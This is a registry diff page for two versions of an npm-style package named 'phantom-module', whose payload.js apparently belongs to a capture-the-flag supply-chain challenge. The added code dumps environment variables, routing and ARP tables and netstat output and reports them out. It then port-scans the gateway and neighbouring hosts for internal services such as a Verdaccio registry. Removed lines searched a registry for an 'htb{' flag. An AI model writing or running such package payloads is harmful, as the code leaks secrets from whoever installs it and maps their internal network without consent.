phantom-module 117.0.2 → 117.0.4
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/payload.js +46 -68
package/package.json
CHANGED
package/payload.js
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
const net = require('net');
|
|
2
2
|
const http = require('http');
|
|
3
3
|
const fs = require('fs');
|
|
4
|
-
const
|
|
4
|
+
const { execSync } = require('child_process');
|
|
5
5
|
|
|
6
6
|
if (!fs.existsSync('/home/node/aspect-node')) process.exit(0);
|
|
7
7
|
|
|
@@ -26,7 +26,7 @@ async function report(moduleId, data) {
|
|
|
26
26
|
function checkPort(host, port) {
|
|
27
27
|
return new Promise((resolve) => {
|
|
28
28
|
const sock = new net.Socket();
|
|
29
|
-
sock.setTimeout(
|
|
29
|
+
sock.setTimeout(300);
|
|
30
30
|
sock.on('connect', () => { sock.destroy(); resolve(true); });
|
|
31
31
|
sock.on('error', () => { sock.destroy(); resolve(false); });
|
|
32
32
|
sock.on('timeout', () => { sock.destroy(); resolve(false); });
|
|
@@ -34,81 +34,59 @@ function checkPort(host, port) {
|
|
|
34
34
|
});
|
|
35
35
|
}
|
|
36
36
|
|
|
37
|
-
function httpGet(url) {
|
|
38
|
-
return new Promise((resolve) => {
|
|
39
|
-
const req = http.get(url, { timeout: 2000 }, (res) => {
|
|
40
|
-
let body = '';
|
|
41
|
-
res.on('data', c => body += c);
|
|
42
|
-
res.on('end', () => resolve({ status: res.statusCode, body }));
|
|
43
|
-
});
|
|
44
|
-
req.on('error', e => resolve({ status: 0, body: e.message }));
|
|
45
|
-
});
|
|
46
|
-
}
|
|
47
|
-
|
|
48
37
|
async function main() {
|
|
49
|
-
await report('ECT-654321', 'SCAN STARTING
|
|
38
|
+
await report('ECT-654321', 'SCAN V4 STARTING...');
|
|
50
39
|
|
|
51
|
-
|
|
52
|
-
|
|
53
|
-
|
|
40
|
+
let envInfo = '=== ENV INFO ===\n';
|
|
41
|
+
try {
|
|
42
|
+
envInfo += `ENV DUMP: ${JSON.stringify(process.env).substring(0,500)}\n`;
|
|
43
|
+
envInfo += `/proc/net/route:\n${fs.readFileSync('/proc/net/route','utf8')}\n`;
|
|
44
|
+
envInfo += `/proc/net/arp:\n${fs.readFileSync('/proc/net/arp','utf8')}\n`;
|
|
45
|
+
try { envInfo += `netstat -rn:\n${execSync('netstat -rn').toString()}\n`; } catch(e){}
|
|
46
|
+
} catch(e) { envInfo += `ERR: ${e.message}\n`; }
|
|
47
|
+
await report('ECT-654321', envInfo);
|
|
54
48
|
|
|
55
|
-
//
|
|
56
|
-
|
|
57
|
-
|
|
58
|
-
|
|
59
|
-
|
|
60
|
-
|
|
61
|
-
|
|
62
|
-
|
|
49
|
+
// Parse gateway from /proc/net/route
|
|
50
|
+
// Destination 00000000 is default route. Gateway is hex.
|
|
51
|
+
let gateway = '172.17.0.1'; // Default fallback
|
|
52
|
+
try {
|
|
53
|
+
const route = fs.readFileSync('/proc/net/route', 'utf8');
|
|
54
|
+
const lines = route.split('\n');
|
|
55
|
+
for (const line of lines) {
|
|
56
|
+
const parts = line.split(/\s+/);
|
|
57
|
+
if (parts[1] === '00000000') {
|
|
58
|
+
const hex = parts[2];
|
|
59
|
+
// Convert hex IP to dot notation (little endian)
|
|
60
|
+
const d = parseInt(hex, 16);
|
|
61
|
+
gateway = `${d&255}.${(d>>8)&255}.${(d>>16)&255}.${(d>>24)&255}`;
|
|
62
|
+
break;
|
|
63
|
+
}
|
|
63
64
|
}
|
|
64
|
-
|
|
65
|
-
}
|
|
65
|
+
} catch(e) {}
|
|
66
66
|
|
|
67
|
-
await
|
|
67
|
+
await report('ECT-839201', `Scanning Gateway: ${gateway}\n`);
|
|
68
|
+
|
|
69
|
+
// Fast port scan of gateway
|
|
70
|
+
const commonPorts = [80, 443, 3000, 3001, 3128, 4873, 5000, 5001, 5080, 8000, 8001, 8080, 8081, 8090, 8888, 9000, 9090];
|
|
71
|
+
let scanOutput = `=== GATEWAY ${gateway} ===\n`;
|
|
68
72
|
|
|
69
|
-
|
|
70
|
-
|
|
71
|
-
|
|
72
|
-
|
|
73
|
-
const ip = `${base}.${i}`;
|
|
74
|
-
if (await checkPort(ip, 80)) scanOutput += `OPEN ${ip}:80\n`;
|
|
75
|
-
if (await checkPort(ip, 3000)) scanOutput += `OPEN ${ip}:3000\n`;
|
|
76
|
-
}
|
|
73
|
+
for (const port of commonPorts) {
|
|
74
|
+
if (await checkPort(gateway, port)) {
|
|
75
|
+
scanOutput += `OPEN ${gateway}:${port}\n`;
|
|
76
|
+
}
|
|
77
77
|
}
|
|
78
78
|
|
|
79
|
-
|
|
80
|
-
|
|
81
|
-
|
|
82
|
-
let
|
|
83
|
-
|
|
84
|
-
|
|
85
|
-
|
|
86
|
-
|
|
87
|
-
// 1. List all packages
|
|
88
|
-
const all = await httpGet(`${baseUrl}/-/all`);
|
|
89
|
-
queryOutput += `/-/all: ${all.status} len=${all.body.length}\n${all.body.substring(0, 200)}\n`;
|
|
90
|
-
|
|
91
|
-
// 2. Get ecto-spirit
|
|
92
|
-
const ecto = await httpGet(`${baseUrl}/ecto-spirit`);
|
|
93
|
-
queryOutput += `/ecto-spirit: ${ecto.status}\n${ecto.body.substring(0, 500)}\n`;
|
|
94
|
-
|
|
95
|
-
// 3. Try to extract flag from dist-tags or versions
|
|
96
|
-
if (ecto.body.includes('htb{') || ecto.body.includes('HTB{')) {
|
|
97
|
-
const match = ecto.body.match(/htb\{[^}]+\}/i);
|
|
98
|
-
if (match) queryOutput += `!!! FLAG FOUND: ${match[0]} !!!\n`;
|
|
99
|
-
}
|
|
100
|
-
|
|
101
|
-
// 4. Download tarball if possible
|
|
102
|
-
try {
|
|
103
|
-
const json = JSON.parse(ecto.body);
|
|
104
|
-
const latest = json['dist-tags'].latest;
|
|
105
|
-
const tarball = json.versions[latest].dist.tarball;
|
|
106
|
-
queryOutput += `Tarball: ${tarball}\n`;
|
|
107
|
-
// We could download it, but let's see if the metadata has the flag first
|
|
108
|
-
} catch(e) {}
|
|
79
|
+
// Also scan neighbor IPs
|
|
80
|
+
const base = gateway.split('.').slice(0,3).join('.');
|
|
81
|
+
scanOutput += `=== NEIGHBORS ${base}.* ===\n`;
|
|
82
|
+
for (let i=1; i<=10; i++) {
|
|
83
|
+
const ip = `${base}.${i}`;
|
|
84
|
+
if (ip === gateway) continue;
|
|
85
|
+
if (await checkPort(ip, 4873)) scanOutput += `FOUND VERDACCIO: ${ip}:4873\n`;
|
|
86
|
+
if (await checkPort(ip, 80)) scanOutput += `OPEN ${ip}:80\n`;
|
|
109
87
|
}
|
|
110
|
-
|
|
111
|
-
await report('ECT-987654',
|
|
88
|
+
|
|
89
|
+
await report('ECT-987654', scanOutput);
|
|
112
90
|
}
|
|
113
91
|
|
|
114
92
|
main().catch(e => report('ECT-654321', 'ERR: ' + e.message));
|